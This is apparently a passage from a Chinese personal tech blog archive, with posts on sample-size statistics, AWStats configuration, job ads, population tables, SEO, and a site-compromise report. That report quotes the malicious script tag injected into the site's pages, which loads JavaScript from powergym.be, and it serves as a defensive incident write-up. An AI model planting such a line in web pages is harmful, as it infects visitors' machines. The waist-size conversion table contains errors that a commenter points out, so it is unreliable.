^{z_{\alpha/2}}](http://latex.codecogs.com/png.latex?%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D)](http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D)=1.96，置信度为90%时，[![\fn_jvn \120dpi ^{z_{\alpha/2}}](http://latex.codecogs.com/png.latex?%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D)](http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D)=1.645，置信度越高需要的样本量越多；95%置信度比90%置信度需要的采样量多40%；

为了体现相对差距：假设抽样均值为 y

相对抽样误差 h = E / y

变异系数 C= σ / y

[![](http://latex.codecogs.com/png.latex?%5Cfn_jvn%20%5C120dpi%20n%5Capprox%5Cfrac%7B%28%7Bz_%7B%5Calpha%20/2%7D%7D%29%5E%7B2%7DC%5E2%7D%7Bh%5E2%7D)](http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20n=%5Cfrac%7B%28%7Bz_%7B%5Calpha%20/2%7D%7D%29%5E%7B2%7D%7B%5Csigma%7D%5E2%7D%7BE%5E2%7D)

以下是基于抽样得分的抽样误差估算表格：方差越大需要的样本量越多，数据离散度越低，需要的抽样量越少；

置信度	相对抽样误差(假设：C=0.4)
1%	2%	3%	4%	5%
95%	6147	1537	683	384	246
90%	4330	1082	481	271	173

AWStats 7.0 发布， Linux下的安装配置使用备忘

Sat, 05 Jun 2010 15:38:35 +0800

5月25日，Eldy发布了AWStats的7.0版本，从界面上看主要的变化是很多统计图使用了Google图表API生成；

在Linux的安装请参考AWStats安装笔记，此次更新后的相关配置修改都放到补充库里了；包含chedong.com的awstats配置样例：awstats.chedong.conf 通用配置文件样例： coommon.conf 搜索引擎和蜘蛛定义更新： robots.pm search_engines.pm （需要放到lib目录下）

缺省建议启用的配置：common.conf LoadPlugin=“tooltips” LoadPlugin=“decodeutfkeys” LoadPlugin=“graphgooglechartapi” LoadPlugin="geoip GEOIP_STANDARD /home/chedong/chedong.com/cgi-bin/awstats/GeoIP.dat" LoadPlugin=“geoip_city_maxmind GEOIP_STANDARD /home/chedong/chedong.com/cgi-bin/awstats/GeoLiteCity.dat” LoadPlugin="qqhostinfo"

搜索引擎定义主要去掉了一些门户网站的域名（例如： 163.com live.com），避免了搜索服务和门户其他服务(例如：博客)容易和搜索来源混淆的情况。蜘蛛定义主要增加了feed抓取机器人： ‘sosospider’,’SosoSpider’, ‘youdaobot’,’YoudaoBot’, ‘doubanbot’,’DoubanBot’, ‘friendfeedbot’,’FriendFeedBot’,

AWStats 7.0的详细ChangeLog更新附后：

New features/improvements:

Detect Windows 7.
Can format numbers according to language.
More mime types.
Added geoip_asn_maxmind plugin.
Geoip Maxmind city plugin have now override file capabilities to complete missing entries in geoip maxmind database.
Added graphgooglechartapi to use online Google chart api to build graph.
Can show map of country to report countries when using graphgooglechartapi.
Part of codes was change to use more functions and have a cleaner code.
Added parameter to ignore missing log files when merging for a site on multiple servers where a single server may not have created a log for a given day.
Update robots database.

Thanks to Chris Larsen (author of most thoses changes).

[招聘] 中文的LinkedIn项目招聘服务器端Linux开发和Windows客户端开发

Mon, 24 May 2010 23:47:27 +0800

创业者实在太低调了，不想透露太多。感兴趣的同学请看后面的详细说明：

**互联网资深创业团队寻找互联网创业伙伴****：软件开发/****产品经理/GUI设计师**

** 欢迎推荐，推荐有奖，3000元起，上不封顶。 **

**你是不是**已经不玩游戏，厌烦闲聊，习惯于QQ隐身？

**你是不是**开始渴望，跳出公司，认识更多的人，却不知道该怎么做？

**你是不是**有些迷茫，整日的朝九晚五，两点一线，人生就这样度过？

**[在3.84亿的互联网网民中](http://www.cnnic.cn/html/Dir/2010/01/15/5767.htm)，有多少人和你一样困惑？**

**在数不尽的互联网产品中，有几个能够帮助你发展？**

** **

**我们认为**，经过15年的发展，中国互联网已经进入人群分化阶段； **我们坚信**，互联网将不仅仅是娱乐的，还是生活的、生意的，和，工作的；

**我们要做的**，就是工作互联网，帮你拓展人脉，提高效率，实现自我。

**我们真诚的期望你**，加入我们，做一番有价值的事业。

**公司基本情况：**

技术型的互联网公司，由业界资深人士创办，著名天使投资人投资。

我们致力于研发创造美好生活的产品。

我们认为，每一位员工都是我们的合伙人。

我们认为，工作不是做工，因为成就，所以快乐。

我们将提供一切可能的帮助，包括自由平等的工作氛围/弹性工作时间/职业发展规划/当前和长期的收入/生活等等。

当然，还有可观的股票期权。

我们期望，你能与公司一起成长。

我们坚信，与杰出的你一起，我们可以改变世界。

** 联系邮件：talent.welcome#gmail.com**

**原文地址：http://tinyurl.com/talent-welcome**

**随时更新，敬请关注！**

** ** 如果你：

出类拔萃，但不失谦逊；

有梦想，但不是仅仅做梦；

相信凡事皆有可能；

享受激情的工作；

那么，有和你一样的人在等待你。

我们正在寻找下列人才：

**GUI设计师（急聘）**

职责：

与产品经理配合，设计出打动人心的产品，

独立负责软件的全部设计，包括：整体风格布局设计/制作软件界面效果图，

与软件界面工程师配合，完成所有界面相关的图片/图标/Logo及相关动画。

要求：

热爱互联网与互联网产品设计

高雅的视觉审美品味

有软件界面交互设计经验者优先

联系邮件：talent.welcome#gmail.com 应聘者附上你的简历，以及所主持设计的作品样稿。

**兼职资深GUI设计师**

职责：

与产品经理配合，设计出

独立负责软件的全部设计，包括：整体风格布局设计/制作软件界面效果图，

与软件界面工程师配合，完成所有界面相关的图片/图标/Logo及相关动画。

要求：

高雅的视觉审美品味

有丰富的软件界面交互设计经验

善于把握用户需求，有UE经验

每月保证工作时间不少于80个小时，以月薪10000元按具体工作时间计算报酬。

联系邮件：talent.welcome#gmail.com 应聘者附上你的简历，以及所主持设计的作品样稿。

产品经理（助理）：**

作为决定产品的直接责任人，你将需要：

以用户为中心，深入了解用户需求，

条理清晰，能够清晰、简洁的把产品需求文档化，

熟悉量化分析方法，能够定量分析产品定义的优劣并及时调整，

善于团队合作，能够与工程师一起做出打动人心的产品，

网虫与有健康爱好的发烧友优先。

欢迎应届毕业生应聘。

联系邮件：talent.welcome#gmail.com 应聘者附上你的简历。

在Dreamhost遭遇挂马： powergym.be

Mon, 05 Apr 2010 14:11:45 +0800

4月1日中午，有朋友发来邮件：访问 chedong.com 的页面时；该网站可能含有恶意软件，有可能会危害您的电脑。 http://www.google.com.hk/interstitial?url=http://www.chedong.com/

到Google的诊断页看了一下：

我们过去 90 天内对此网站上的 2 张网页进行了测试，发现有 1 张网页在未经用户同意的情况下就会将恶意软件下载并安装到用户的机器中。Google 上次访问此网站的日期是 2010-03-31，上次在此网站中发现可疑内容的日期是 2010-03-30。 Malicious software includes 2 exploit(s). Successful infection resulted in an average of 1 new process(es) on the target machine. 恶意软件托管在 3 个域上，其中包括 surrogaty.uz.ua/, abseconbluedevils.org/, powergym.be/。 2 个域以传播媒介的身份向此网站的访问者散发了恶意软件，其中包括 abseconbluedevils.org/, help2strike.org.ua/。 This site was hosted on 1 network(s) including AS26347 (DREAMHOST).

登录到服务器上： grep -R powergym * 发现数十个目录缺省页 index.html index.php default.html 全部在3月30日被附加了这样一行script： script language=‘JavaScript’ src=’http://powergym.be/xxxxss36dj.js’

回家后断断续续折腾了2天，终于将大部分目录回滚到了3月30日之前；近期还在和DreamHost联系，查看系统登录日志，查看各个目录下的应用安装情况；

教训： 0 一定要备份：比如使用Amazon的S3服务作为异地备份； 1 系统登录帐号尽量少，减少不必要的风险，定期更换密钥和密码； 2 WordPress目录：尽量保持自动更新，2.8.5以前的都是有安全漏洞的；

中国人口年龄构成统计 2007 - 2100

Tue, 09 Feb 2010 20:34:19 +0800

最近刚看完《异类》一书：其中讲了有所成就的人士除了10,000小时定律之外很重要的（而且经常被人们忽视的）一个因素就是人口的变化。因此也额外对人口变化趋势非常关注，高巍为此做了一个星座和中国人口出生量的统计。我看到一个人口构成数字是清议在《可预见的中国式灾难》中引用的田雪原《中国人口预测结果》（原始出处未找到）人口年龄统计：制成图表如下

原始数据表格列表如下（单位：万人）：

年份    总人口  	0~14岁	15~64岁	65岁以上 新增 抚养比	
2007年	132,129 	25,633 	95,794 	10,702 	2,142 	37.9%	2007年实际值
2008年	132,978 	24,911 	96,938 	11,129 	2,119 	37.2%	
2009年	133,634 	24,524 	97,713 	11,397 	2,072 	36.8%	
2010年	134,279 	24,289 	98,301 	11,688 	2,076 	36.6%	
2011年	134,916 	24,093 	98,807 	12,016 	2,046 	36.5%	抚养比谷底
2012年	135,543 	23,994 	99,152 	12,397 	1,949 	36.7%	
2013年	136,144 	23,943 	99,401 	12,801 	1,840 	37.0%	
2014年	136,706 	23,941 	99,465 	13,300 	1,776 	37.4%	
2015年	137,213 	23,657 	99,682 	13,875 	1,706 	37.7%	
2016年	137,652 	23,305 	99,918 	14,430 	1,650 	37.8%	
2017年	138,014 	22,980 	99,920 	15,114 	1,602 	38.1%	劳动人口峰值
2018年	138,294 	22,671 	99,800 	15,823 	1,597 	38.6%	
2019年	138,491 	22,365 	99,534 	16,592 	1,619 	39.1%	
2020年	138,614 	22,059 	99,170 	17,386 	1,587 	39.8%	
2021年	138,668 	21,735 	98,852 	18,080 	1,597 	40.3%	总人口峰值
2022年	138,658 	21,390 	98,466 	18,803 	1,608 	40.8%	
2023年	138,592 	21,018 	98,140 	19,434 	1,620 	41.2%	
2024年	138,471 	20,617 	98,107 	19,748 	1,626 	41.1%	
2025年	138,301 	20,186 	98,102 	20,012 	1,635 	41.0%	
2026年	138,082 	19,722 	98,349 	20,011 	1,641 	40.4%	65岁以上超过14岁以下人口
2027年	137,813 	19,228 	98,220 	20,365 	1,648 	40.3%	
2028年	137,493 	18,716 	97,140 	21,637 	1,654 	41.5%	抚养比之后每年上升一个百分点
2029年	137,123 	18,202 	96,157 	22,764 	1,658 	42.6%	
2030年	136,705 	17,701 	95,221 	23,783 	1,654 	43.6%	
2031年	136,239 	17,228 	94,226 	24,786 	1,654 	44.6%	
2032年	135,729 	16,799 	93,359 	25,571 	1,655 	45.4%	
2038年	131,793 	15,175 	85,651 	30,967 	1,383 	53.9%	
2048年	121,682 	13,546 	75,791 	32,345 	1,345 	60.5%	
2050年	119,163 	13,116 	73,701 	32,346 	1,331 	61.7%	
2060年	105,064 	10,605 	61,285 	33,174 	1,239 	71.4%	
2085年	071,256 	07,065 	40,042 	24,149 	  898 	78.0%	抚养比峰值
2100年	055,647 	05,596 	31,621 	18,430 	  601 	76.0%

除了人口因素外，文化传统的影响也是非常大的，可以从老罗推荐的《美国种族简史》一书中得到更多的印证。

AWStats的自定义扩展统计：Using the Extra Sections features

Tue, 22 Dec 2009 12:27:48 +0800

如何利用AWStats针对网站自身应用进行特定参数的统计，今天学习了一下：AWStats Documentation - Using the Extra Sections features。文档中主要有以下几个例子：

Example 1: Tracking Product orders

跟踪商品订单：解析出GET /cgi-bin/order.cgi?productid=49&session=A0B1C2 中的productid=字段

Example 2: Tracking Bugzilla most frequently viewed bugs

跟踪bugzilla中最经常被访问的Bug：原理同上，这在内部开发中非常有用，类似的，也很容易给BBS系统配置出最常访问的论坛等统计。

Example 3: Tracking Exit clicks

跟踪用户离开当前网站的点击：前提是你将所有指向其他网站的链接通过/cgi-bin/awredir.pl?url=http://externalsite/pagelinked这样的链接进行部署。

Example 4: Tracking aborted download

跟踪中断的下载：利用的是HTTP返回的状态码206 ExtraSectionCodeFilter1=“206”

Example 5: Tracking most requested domain aliases

跟踪最常用的域名别名：这需要在日志中部署并定义扩展字段%your_extra_field，然后在ExtraSestion中部署统计相应的扩展字段%your_extra_field 这里的例子就是将域名的别名，在一个域名有多个别名的时候，分析那个域名最常用最有帮助。

Example 6: List of top level 2 path under a directory /mydir

跟踪某个目录下最常访问的2级子目录，根据样例设置了一个 /tech /blog 2个目录下的TOP文章统计。

增加的配置如下 ExtraSectionName1=“Top aticles under /tech” ExtraSectionCodeFilter1=“200 304” ExtraSectionCondition1=“URL,^/tech/.*” ExtraSectionFirstColumnTitle1=“Article Name” ExtraSectionFirstColumnValues1=“URL,^/tech/([\w]+).html” ExtraSectionFirstColumnFormat1="%s" ExtraSectionStatTypes1=PHL MaxNbOfExtra2=20 MinHitExtra2=1 样例输出：

中国每年出生人口数 1976年 - 2000年历年男女性别比

Sun, 20 Sep 2009 19:11:12 +0800

感谢高巍

以下是根据2000年全国分年龄、性别的人口数《中国人口信息网》制作的一份图表；

年份	        总出生人口	男女比例	       男性	               女性
1976年出生	20,491,797	 1.04 	10,435,196	10,056,601
1977年出生	17,931,155	 1.03 	9,119,685  	8,811,470
1978年出生	18,831,591	 1.02 	9,519,345  	9,312,246
1979年出生	18,924,822	 1.02 	9,548,059  	9,376,763
1980年出生	18,393,809	 1.03 	9,315,481  	9,078,328
1981年出生	19,122,938	 1.04 	9,752,137  	9,370,801
1982年出生	23,100,427	 1.04 	11,786,950	11,316,732
1983年出生	20,065,048	 1.05 	10,275,677	9,789,371
1984年出生	20,313,426	 1.06 	10,468,201	9,845,225
1985年出生	20,429,326	 1.08 	10,598,460	9,830,866
1986年出生	23,190,076	 1.08 	12,023,710	11,166,366
1987年出生	25,282,644	 1.08 	13,619,530	12,663,114
1988年出生	24,576,191	 1.08 	12,779,621	11,796,570
1989年出生	25,137,678	 1.09 	13,110,848	12,026,830
1990年出生	26,210,044	 1.11 	13,811,030	12,399,014
1991年出生	20,082,026	 1.13 	10,674,963	9,407,063
1992年出生	18,752,106	 1.15 	10,014,222	8,737,884
1993年出生	17,914,756	 1.15 	9,590,414  	8,324,342
1994年出生	16,470,140	 1.17 	8,866,012  	7,604,128
1995年出生	16,933,559	 1.18 	9,157,597  	7,775,962
1996年出生	15,224,282	 1.19 	8,257,145  	6,967,137
1997年出生	14,454,335	 1.20 	7,897,234  	6,557,101
1998年出生	14,010,711	 1.22 	7,701,684  	6,309,027
1999年出生	11,495,247	 1.23 	6,332,425  	5,162,822
2000年出生	13,793,799	 1.18 	7,460,206  	6,333,593
![2011-01-13_095709.png](http://www.chedong.com/blog/archives/2011/01/13/2011-01-13_095709.png)
80-84年=100,995,648	相当于85-89年的85%
85-89年=118,615,915	
90-94年=99,429,072	相当于85-89年的84%
95-99年=72,118,134	相当于85-89年的61%

以85-89年出生为1，可以对比看到相对于峰值阶段，95后相对于峰值时期降低40%；中国的人口红利将与2015年前后消失；

[搜狗招聘] 搜狗搜索引擎产品专员欢迎实习生

Mon, 10 Aug 2009 10:54:24 +0800

如果您是做开发的请移步这里；

搜狗招聘：网站产品部搜索产品经理 抽点时间先做个测试吧：看看你是否适合做一个合格的搜索产品专员： 1、你经常使用各种搜索引擎吗？ A. 没错，岂止是经常，搜索引擎就是我上网的必备工具，找任何东西我都想先搜一下。 B. 经常用，不过只是用一些网页、MP3搜索之类的，而且基本只去那两三个有名的搜索引擎。 C. 不常用，网上信息来源很丰富，不是一定要用搜索引擎的。 D. 用得较少，甚至——搜索引擎是干什么的来着？我怎么没听说过？更别说用了…

2、你关心互联网的产品、应用和技术吗？对于比较知名的所谓Web2.0网站，你经常去的有多少？ A. 非常关心互联网的产品和应用，web2.0的提法太笼统了，我经常去光顾的随便就列出十个八个，而且我在AAA网站上是版主，在BBB网站上级别很高。 B. 一直关心互联网，web2.0我也比较了解，我知道的这样的网站有很多，不过有时间就会去看一下的只有五六个，自己会经常参与其中的还要更少一些。 C. 比较关心互联网，web2.0我也知道是什么意思，不过我经常去的这类网站只有两三个，大多数情况也只是浏览一下看看热闹而已。 D. 互联网我当然知道，不能说关心，关心了也没用呀，也没人会因为我关心给我发工资。Web2.0是什么意思？等我上网查一下或者明早问问旁边坐着的小刘吧。

3、对于互联网产品的设计和用户体验，你经常有独特的想法吗？ A. 我经常比较各种不同网站内容功能和技术的优劣，也看过很多分析评论文章，设想如果自己是网站负责人，该如何改进功能，提升用户体验。比方说XXX网站，为什么不参考一下美国的YYY网站呢？你看那个MMM网站的这个功能，做得就很人性化，流量能迅速上升是有原因的。NNN网站实在是无话可说，完全就不知道用户需要什么。居然有VC肯投它，不可理喻… B. 我常常自己去尝试一些网站的内容和功能，不仅仅是为了使用，而是想分析不同网站或功能的区别。不过我虽然大致明白他们的区别和优劣，但没有更多的想过怎么改进才能做得更好。 C. 我只是感到在XXX网站上都是我需要的内容，使用也很流畅，而在类似的YYY网站上就有点找不着北，去了两次我就不去了。但是我也没仔细想过为什么。 D. 我只是在用，没有多想。什么？你说XXX网站和YYY网站有区别？我怎么没感觉？真的，一点感觉都没有…

4、你有过互联网项目管理或产品管理的经历吗？擅长和不同角色，不同性格的人沟通吗？ A. 你问对人了。我最近这两三年一直做互联网的产品和项目，产品策划实施运营我很熟悉，我管的项目组人还挺多呢。交流和沟通也根本不是问题。 B. 我做过互联网有关的工作，虽然产品和项目经验不是很多，但我有很多idea，而且沟通也不成问题。 C. 我虽然没有做过互联网有关的工作，不过有其它领域的项目和产品管理经验，我想很多东西都是普遍联系的，而我又一直很关心互联网这个领域，互联网的产品/项目管理对我来说也不成问题。沟通也还可以吧，不是问题。 D. 我没有什么项目/产品管理经验。说起沟通和交流，我一直就有这个困惑，为什么别人总是不能领会我的意思呢？好多事别人做出来的结果和我想要的怎么就是不一样呢？

5、你是否了解一些基本的搜索和互联网技术？ A. 我就是学计算机出身的，最近几年也一直关心这个领域，自己做过一些东西，对搜索和互联网技术非常清楚，只要我愿意，找个工程师的工作一点没问题。 B. 我虽然不是学技术出身的，但是由于很关心这个领域，自学了很多东西，一些基本技术我自己实践过，对技术发展趋势也比较清楚。 C. 我大概知道一些，不过没怎么实践过。 D. 完全不清楚，我想很多人都和我一样，没什么大惊小怪的。

以上5道题目，选A–10分，B–7分，C–5分 D–2分。如果你得分在35分以上，恭喜你，你已经具备做一个搜索产品经理的基本条件，如果感兴趣，请发简历到：job.sogou.com/apply.php?pid=8

💬 历史评论

以下 47 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

沈蚊 · 2006-10-11 11:20

12111

第四个偶大致是8分的样子。。。^^!

沈蚊 · 2006-10-11 11:22

百度蜘蛛支持crawl-delay/sitemaps/blog ping接口，Alexa增加Keywords/来源分析/用户构成

Sun, 26 Jul 2009 13:59:43 +0800

Baidu的API和google的完全相同，只是RPC的URL不同。Baidu的RPC服务URL 是

http://ping.baidu.com/ping/RPC2

具体提交参数可以参考：Google BlogSearch 服务的Ping接口文档。此外： Baidu蜘蛛也支持crawl-delay和Sitemaps协议。加上百度自有的阿拉丁格式接口，感觉内容网站和搜索引擎之间的交互接口越来越丰富了，结构化的数据提取和展现应该是通用搜索引擎的一个进化方向；

网站分析服务商Alexa最近也有不少面向站长很贴心的功能改进，虽然作为alexa反应总体流量趋势的能力越来越弱，但其中一些流量构成报告还是很有参考价值的： 1 搜索来源占总体流量比例； 2 搜索来源关键词； 3 流量来源分布：包括搜索和内容链接； 4 用户构成，包括性别，年龄，教育，上网地点（工作/家里/学校），是否有小孩；

样例截图附后：网站流量越大相对统计趋势会越准一些；

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

老吧 · 2009-08-12 17:22

博主的意思是百度有blog ping接口，能告诉一下百度ping的url格式是什么样的吗？

李森 · 2009-09-18 12:02

车东老师你好，目前http://ping.baidu.com/cgi-bin/blog看似无法访问，按照google rpcping的方式没有返回，是不是这个链接百度禁掉了？

如果方便望可以回复，多谢

test · 2009-10-21 17:04

http://www.baidu.com/search/blogsearch_help.html#n7 这里。

腰围2尺1,2,3,4,5,6,7,8寸分别等于是多少厘米/英寸(对照表)

Sat, 27 Jun 2009 18:21:04 +0800

■70厘米 ■2尺1 ●26英寸 ■74厘米 ■2尺2 ●28英寸 ■76厘米 ■2尺3 ●29英寸 ■78厘米 ■2尺35●30英寸 ■80厘米 ■2尺4 ●31英寸 ■82厘米 ■2尺45●32英寸 ■84厘米 ■2尺5 ●33英寸
■86厘米 ■2尺6 ●34英寸 ■88厘米 ■2尺65●35英寸 ■90厘米 ■2尺7 ●36英寸 ■92厘米 ■2尺75●37英寸 ■94厘米 ■2尺8 ●38英寸 ■96厘米 ■2尺85●39英寸 ■98厘米 ■2尺95●40英寸 ■100厘米■3尺 ●41英寸 ■102厘米■3尺05●42英寸 ■104厘米■3尺1 ●43英寸 ■106厘米■3尺2 ●44英寸

1市尺等于13.12英寸 1市寸等于1.31英寸 1尺等于33.33厘米

2009-06-29 更新：增加了2尺一腰围的

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

sleetdrop · 2009-06-28 16:26

这表格太好了。。。昨天买了条jeans,上面标着36,这就意味着我的腰围已经从2尺8降到2尺7了。

郑韬 · 2017-05-17 23:23

请问这【车东^2】的表格所显示的数字只是适合衭子的腰围吗？我经常在买衣服的时候都出现尺码的困难，每一个品牌都有自已的尺码，我不是说 S,M,L,XL的尺码，每间服装公司都有权设他们认为对的 “M码” 是那一个肥廋身材，同样的服装 “M码” 有些服装公司比较偏大，有些服装比较偏小，这些纯属服装公司的喜好。为方便消费者（买服装的人仕）选择尺寸的大小，服装界便出现一种实际的尺寸指引，例如德国的女装恤衫的 “38码” 是指示服装（恤衫）的夹下1英寸的胸阔实际尺寸是 38英寸。男装恤衫的"50码" 是指示服装（恤衫）的夹下1英寸的胸阔实际尺寸是 50英寸，一度成为消费者的购买指引。但这指引只限是在德国，在法国又有另一套指引，可能法国认为他们个子（非有意贬低法人，敬请原谅），所以他们的女装 38码只有 36.5 - 37英寸，男装的 50码只有36 - 37英寸，其他国家亦有他们的情况出现。一时间服装的尺寸领域又出现很多混乱，但原则上每个服装公司都是根据他们生国家的尺码和尺寸来规定，消费者亦只有按生产国家的尺码来作指引，有些不便，但亦算有些可依据。有些国际性服装公司为方便他们不同国家的顾客，便出现一种多国性尺码标签，即是每件服装上的尺码标签都同时显示出德国 38码, 法国40码, 英国 38码, 荷比卢, 等等, （初时只有欧洲的五个国家，後来进展到美国, 澳洲, 日本, 星马泰, 中国, 等等）有些标签的国家名字用英文简写代替，有些用国家旗帜代替，总之简易明白，这件衣服在某个国家是甚麽尺码，消费者一看便知，真是公德无量。曾几何时，潮流流行松身的衣物（阔袍大袖）所以 38码的衣服不是胸阔 38英寸，可能是 42 或者是 44英寸，不过亦保留是适合穿 38码服装的人穿的，如果比 38码的人胖一点的人穿也可以，总之自已点量。但现在阔袍大袖的潮流已过了，部份服装制造商将尺寸调回真实尺码时现乱套，有些尺码摽示 38码实际只有 34英寸胸阔，再加上现在潮流韩服，尺码比较贴身，更加使到服装的尺码领域乱得一团糟，连带以前最标准的中国五公分（5 cm.）制度都变了，以前的 80码, 100码, 就是指胸围阔度或腰围阔度有 80公分, 100公分，但现在已经不是那回事了，可悲！可悲！现在我买衣服要带一把尺，量一量实际尺寸是否自已所须要的尺寸，有时会遭到售货员的「抢白」说 “尺码就是尺寸，不用量也知道”，可能是太浪费他的时间吧。无奈！无奈！现买服装还好，可以量度。但网购又如何？有些网网商并没有显示实际的大小尺寸，经常会有尺寸不合穿的退换情况出现，请网商注意修正做福消费网民。多谢给与小弟在此发表一些牢骚和谬论。本次真正想指出的是【车东^2】发表的 “腰围的厘米■市尺■英寸” 的对换表有些出错，70厘米应该等于27.55英寸，并非 26英寸，而 106厘米应该等于 41.75英寸，并非 44英寸。我是根据一把量度的软尺对比出的结果，因手头上没有市尺，所以没有市尺比的比对。我你的计算对方式是基於 2厘米等于 1英寸，但据所知约 2.54厘米等于 1英寸。或作者你对腰围的比对另有所指，请对小弟的谬论赐与指导，感谢！感谢！回覆请赐与电邮。多谢！多谢

内容型网站面向搜索引擎蜘蛛和搜索用户的优化

Thu, 25 Jun 2009 08:04:08 +0800

面向机器的抓取优化 1 缺省域名唯一化：缺省foobar.com 设置301跳转到 www.foobar.com 一方面减少搜索引擎页面消重的负担，一方面可以将针对相同内容的反向链接权重汇总。对于缺省使用https访问的网站，如果不跳转（比如以前的支付宝），往往还会有浏览器提示安全证书路径不匹配的问题；另外：在Google Webmaster tools中也有缺省域名的配置； 2 被遗忘的流量：想办法搜集域名解析失败和拼写错误导致的流量流失；曾经启用过的域名，就尽量不要删除，一直保留并设置转向到最新的地址；有渠道取到DNS的这种记录吗？ 3 404页面的运营：返回hard 404(返回http header而不是html 404 header)，统计并跟踪带有referer的404日志，修正这些问题； 4 节省HEAD类请求：对于一些蜘蛛（主要是百度蜘蛛），经常使用head请求来检查旧链接的有效性，启示可以针对这些请求做直接返回304处理，以节省服务器的处理资源； 5 永久转向：避免302，转向尽量使用301到最终地址； 6 重视站内搜索：利用搜索做内容之间的关联和发现，每篇文章提供相关文章等功能；而能解析出搜索来源关键词的404访问尤其应该通过站内搜索为用户提供其他可选内容。 7 利用google webmaster tools等跟踪收录和错误抓取问题并及时修正； 8 归档页面URL标准化：虽说搜索引擎声称动态页面和静态页面收录和RANK不受影响，但为了方便管理，最好还是将内容页面尽量标准化成静态地址，并页面中尽量加上唯一化的地址，减少搜索引擎抓到相同内容的不同链接后消重的麻烦，比如各种论坛的内页：

面向用户的内容优化 1 自身主动检查spam，防止大量的镜像内容，搜索引擎对于spam处理不利的站点，往往也只好使用整体降权的方式； 2 避免用户因为使用第三方计数器，JS小功能（比如：样式很炫的用户鼠标指针等）被植入病毒木马，Google会向比较严重的站点的webmaster@信箱发送邮件提醒相关问题，所以这个邮箱一定要创建并定期查看； 3 结构化数据源： RSS、sitemaps归档入口，而最高效率的是利用各种ping接口将最新内容即时发送给搜索引擎（最近百度也都支持相应接口和协议了）； 4 重视标题和meta description在搜索结果页上的可读性： meta description不参与排序，但良好的标题和meta description往往比纯算法提示出来的摘要更接近用户目标，在现有排名位置下，争取吸引用户更多的点击也是一个有效的策略； 5 应有的反向链接的获得：主动加上版权声明；

招聘启示：搜狗搜索引擎招聘技术类研发工程师和产品专员（面向用户搜索体验优化）。有意者请投简历；

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

fengfengzhen · 2009-07-07 17:24

车东，能详细说下：节省HEAD类请求：对于一些蜘蛛（主要是百度蜘蛛），经常使用head请求来检查旧链接的有效性，启示可以针对这些请求做直接返回304处理，以节省服务器的处理资源；

这点吗？

枯の灵 · 2009-07-21 16:26

最近听说阁下去……BlogBus了

使用开源软件对IIS应用进行重构

Thu, 30 Apr 2009 14:06:09 +0800

日志统计和各种负载监控： AWStats 全面统计原始日志，分析浏览器和非浏览器的流量，在很多应用中蜘蛛抓取已经超过了浏览器访问；而搜索引擎的来源也和蜘蛛的遍历有很大的关系；使用Cacti对服务器的各种指标进行监控，对于系统优化重构后的跟踪也有非常直观的表现，页面YSlow得分，甚至Google Webmaster统计都会比较有用；进行重构前先进行一些统计和分析工作，在重构后也便于评估和量化重构的效果。

前端优化： Nginx 对照YSlow进行前端优化的主要是：实现统一的expires配置：实现客户端的缓存；解决HTTP压缩：减少文本的传输；解决日志问题：更方便的增加针对cookie等字段的记录；通过代理实现实现负载均衡：将原有单机应用通过路径规则分布到后台多台应用服务器上而不用增加域名；解决URL Rewrite等问题：相比IIS自身，nginx的配置都相对简单；

缓存优化：静态文件缓存服务器：Varnish 分布式应用缓存： Memcached；

epoll推动web发展：在各种服务中都能看到epoll机制的影子；

而各种平台之间的数据交换尽量使用json XML等格式便于未来跨平台调用；

此外：压力测试工具和各种日志处理脚本也是进行优化中分析的必要工具；

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

林网博客 · 2009-05-01 15:23

这都是比较经典的工具，希望看到如何布署？比如布署到web虚拟主机的服务器上去。

im@sorry.com · 2009-05-02 23:01

如果能详细展开说说更好

bihicheng · 2009-05-12 18:24

处了这样的缓存技术外程序语言本身的优化还有多大发展？

FPA色彩性格测试题：黄红蓝绿你是哪个？

Mon, 23 Mar 2009 03:30:57 +0800

把人们的性格分为四种基本性格：红色、蓝色、黄色和绿色。每个人都或多或少的具有这四种性格的特质，但每一个人都有自己占主导地位的性格倾向。这个占主导地位的将是个人的主要性格。常见的那个30题问题对照答案非常麻烦，整理了一份直接和颜色对照的测试题：将ABCD替换成了实际的颜色，完成后统计x红关注你自己的内心世界而非你当前的工作状态。习惯、阶层和年龄常会给你一些误导，如果你很难从两个都似乎是的选择中确认，请选择让你“最自然的”、“最真实的”、“最舒服的”反应，而不是思考“最好的”、“最适合的”或者“最应该的”。换句话讲，你回答的问题是“我是谁”，而不是“我应该是谁”或者“我想是谁”。

1、关于人生观，我的内心其实是：绿、希望能够有尽量多的人生体验，所以会有多样化的想法。黄、在合理的基础上，谨慎确定目标，一旦确定会坚定不移地去做。红、更加注重的是取得一切有可能的成就。蓝、宁愿剔除风险而享受平静或现状。

2、如果爬山旅游，在下山回来的路线选择上，我更在乎：绿、好玩有趣，所以宁愿新路线回巢。蓝、安全稳妥，所以宁愿原路线返回。黄、挑战困难，所以宁愿新路线回巢。红、方便省心，所以宁愿原路线返回。

3、在表达一个观点时，我更看重：蓝、感觉效果。有时可能会显得夸张。黄、达成结果。有时可能太直接让别人很不高兴。红、人际感受。有时可能会不好意思讲真话。绿、说话后周围的人际感受是否舒服。

4、在大多数时候，我的内心更想要：蓝、刺激。经常冒出新点子，想做就做，喜欢与众不同。绿、安全。头脑冷静，不易冲动。红、挑战。生命中竞赛随处可见，有强烈的“赢”的欲望。黄、稳定。满足自己所拥有的，很少羡慕别人。

5、我认为自己在情感上的基本特点是：绿、情绪多变，经常波动。红、外表自我抑制强，但内心感情起伏大，一旦挫伤难以平复。黄、感情不拖泥带水，只是一旦不稳定，容易激动和发怒。蓝、天性情绪四平八稳。

